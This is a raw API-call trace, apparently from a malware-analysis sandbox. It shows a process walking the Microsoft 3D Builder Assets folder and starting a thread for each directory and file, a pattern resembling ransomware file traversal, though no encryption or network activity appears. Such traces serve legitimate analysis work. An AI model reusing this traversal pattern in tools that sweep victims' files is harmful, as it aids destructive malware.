	[0078.028] wcscat (in: _Dest=0x47e9df0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.028] wcscat (in: _Dest=0x47e9df0, _Source="Contrast" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast"
	[0078.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce4
	[0078.029] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0078.029] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0078.029] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0078.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477c0f8
	[0078.029] wcscpy (in: _Dest=0x477c0f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.029] wcscat (in: _Dest=0x477c0f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.029] wcscat (in: _Dest=0x477c0f8, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black"
	[0078.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8
	[0078.030] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0078.030] wcscmp (_String1="contrast-white", _String2=".") returned 1
	[0078.030] wcscmp (_String1="contrast-white", _String2="..") returned 1
	[0078.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477c608
	[0078.030] wcscpy (in: _Dest=0x477c608, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.030] wcscat (in: _Dest=0x477c608, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.030] wcscat (in: _Dest=0x477c608, _Source="contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white"
	[0078.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477c608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec
	[0078.031] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="CubeTile_contrast-black.png", cAlternateFileName="")) returned 1
	[0078.031] wcscmp (_String1="CubeTile_contrast-black.png", _String2=".") returned 1
	[0078.031] wcscmp (_String1="CubeTile_contrast-black.png", _String2="..") returned 1
	[0078.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3b930
	[0078.031] wcscpy (in: _Dest=0x2e3b930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.031] wcscat (in: _Dest=0x2e3b930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.031] wcscat (in: _Dest=0x2e3b930, _Source="CubeTile_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-black.png"
	[0078.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3b930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0
	[0078.031] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x139e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CubeTile_contrast-white.png", cAlternateFileName="")) returned 1
	[0078.031] wcscmp (_String1="CubeTile_contrast-white.png", _String2=".") returned 1
	[0078.031] wcscmp (_String1="CubeTile_contrast-white.png", _String2="..") returned 1
	[0078.031] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3bb10
	[0078.032] wcscpy (in: _Dest=0x2e3bb10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.032] wcscat (in: _Dest=0x2e3bb10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.032] wcscat (in: _Dest=0x2e3bb10, _Source="CubeTile_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CubeTile_contrast-white.png"
	[0078.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3bb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4
	[0078.032] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DarkBlue.png", cAlternateFileName="")) returned 1
	[0078.032] wcscmp (_String1="DarkBlue.png", _String2=".") returned 1
	[0078.032] wcscmp (_String1="DarkBlue.png", _String2="..") returned 1
	[0078.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d538
	[0078.032] wcscpy (in: _Dest=0x477d538, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.032] wcscat (in: _Dest=0x477d538, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.032] wcscat (in: _Dest=0x477d538, _Source="DarkBlue.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DarkBlue.png"
	[0078.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8
	[0078.033] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3012, dwReserved0=0x0, dwReserved1=0x0, cFileName="DashboardDefaultThumbnail.png", cAlternateFileName="")) returned 1
	[0078.033] wcscmp (_String1="DashboardDefaultThumbnail.png", _String2=".") returned 1
	[0078.033] wcscmp (_String1="DashboardDefaultThumbnail.png", _String2="..") returned 1
	[0078.033] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752260
	[0078.033] wcscpy (in: _Dest=0x4752260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.033] wcscat (in: _Dest=0x4752260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.033] wcscat (in: _Dest=0x4752260, _Source="DashboardDefaultThumbnail.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\DashboardDefaultThumbnail.png"
	[0078.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc
	[0078.034] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970d3c8f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9987cd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmbossBitmaps", cAlternateFileName="EMBOSS~1")) returned 1
	[0078.034] wcscmp (_String1="EmbossBitmaps", _String2=".") returned 1
	[0078.034] wcscmp (_String1="EmbossBitmaps", _String2="..") returned 1
	[0078.034] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d610
	[0078.034] wcscpy (in: _Dest=0x477d610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.034] wcscat (in: _Dest=0x477d610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.034] wcscat (in: _Dest=0x477d610, _Source="EmbossBitmaps" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps"
	[0078.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477d610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd00
	[0078.035] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972809b4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_contrast-black.png", cAlternateFileName="")) returned 1
	[0078.035] wcscmp (_String1="HelpIcon_contrast-black.png", _String2=".") returned 1
	[0078.035] wcscmp (_String1="HelpIcon_contrast-black.png", _String2="..") returned 1
	[0078.035] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3bc00
	[0078.035] wcscpy (in: _Dest=0x2e3bc00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.035] wcscat (in: _Dest=0x2e3bc00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.035] wcscat (in: _Dest=0x2e3bc00, _Source="HelpIcon_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-black.png"
	[0078.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3bc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04
	[0078.036] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972809b4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xea1, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_contrast-white.png", cAlternateFileName="")) returned 1
	[0078.036] wcscmp (_String1="HelpIcon_contrast-white.png", _String2=".") returned 1
	[0078.036] wcscmp (_String1="HelpIcon_contrast-white.png", _String2="..") returned 1
	[0078.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eb708
	[0078.036] wcscpy (in: _Dest=0x47eb708, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.036] wcscat (in: _Dest=0x47eb708, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.036] wcscat (in: _Dest=0x47eb708, _Source="HelpIcon_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HelpIcon_contrast-white.png"
	[0078.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08
	[0078.037] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa998957e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x972da738, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HeroHelp", cAlternateFileName="")) returned 1
	[0078.037] wcscmp (_String1="HeroHelp", _String2=".") returned 1
	[0078.037] wcscmp (_String1="HeroHelp", _String2="..") returned 1
	[0078.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e8db0
	[0078.037] wcscpy (in: _Dest=0x47e8db0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.037] wcscat (in: _Dest=0x47e8db0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.037] wcscat (in: _Dest=0x47e8db0, _Source="HeroHelp" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp"
	[0078.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e8db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c
	[0078.038] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973009bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlue.png", cAlternateFileName="")) returned 1
	[0078.038] wcscmp (_String1="LightBlue.png", _String2=".") returned 1
	[0078.038] wcscmp (_String1="LightBlue.png", _String2="..") returned 1
	[0078.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c6e0
	[0078.038] wcscpy (in: _Dest=0x477c6e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.038] wcscat (in: _Dest=0x477c6e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.038] wcscat (in: _Dest=0x477c6e0, _Source="LightBlue.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LightBlue.png"
	[0078.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10
	[0078.039] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoadIconRTL_contrast-black.png", cAlternateFileName="")) returned 1
	[0078.039] wcscmp (_String1="LoadIconRTL_contrast-black.png", _String2=".") returned 1
	[0078.039] wcscmp (_String1="LoadIconRTL_contrast-black.png", _String2="..") returned 1
	[0078.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4751d88
	[0078.039] wcscpy (in: _Dest=0x4751d88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.039] wcscat (in: _Dest=0x4751d88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0078.039] wcscat (in: _Dest=0x4751d88, _Source="LoadIconRTL_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png"
	[0078.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4751d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14
	[0078.039] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97326c19, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoadIconRTL_contrast-white.png", cAlternateFileName="")) returned 1
	[0078.039] wcscmp (_String1="LoadIconRTL_contrast-white.png", _String2=".") returned 1
	[0078.039] wcscmp (_String1="LoadIconRTL_contrast-white.png", _String2="..") returned 1
	[0078.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x4752830
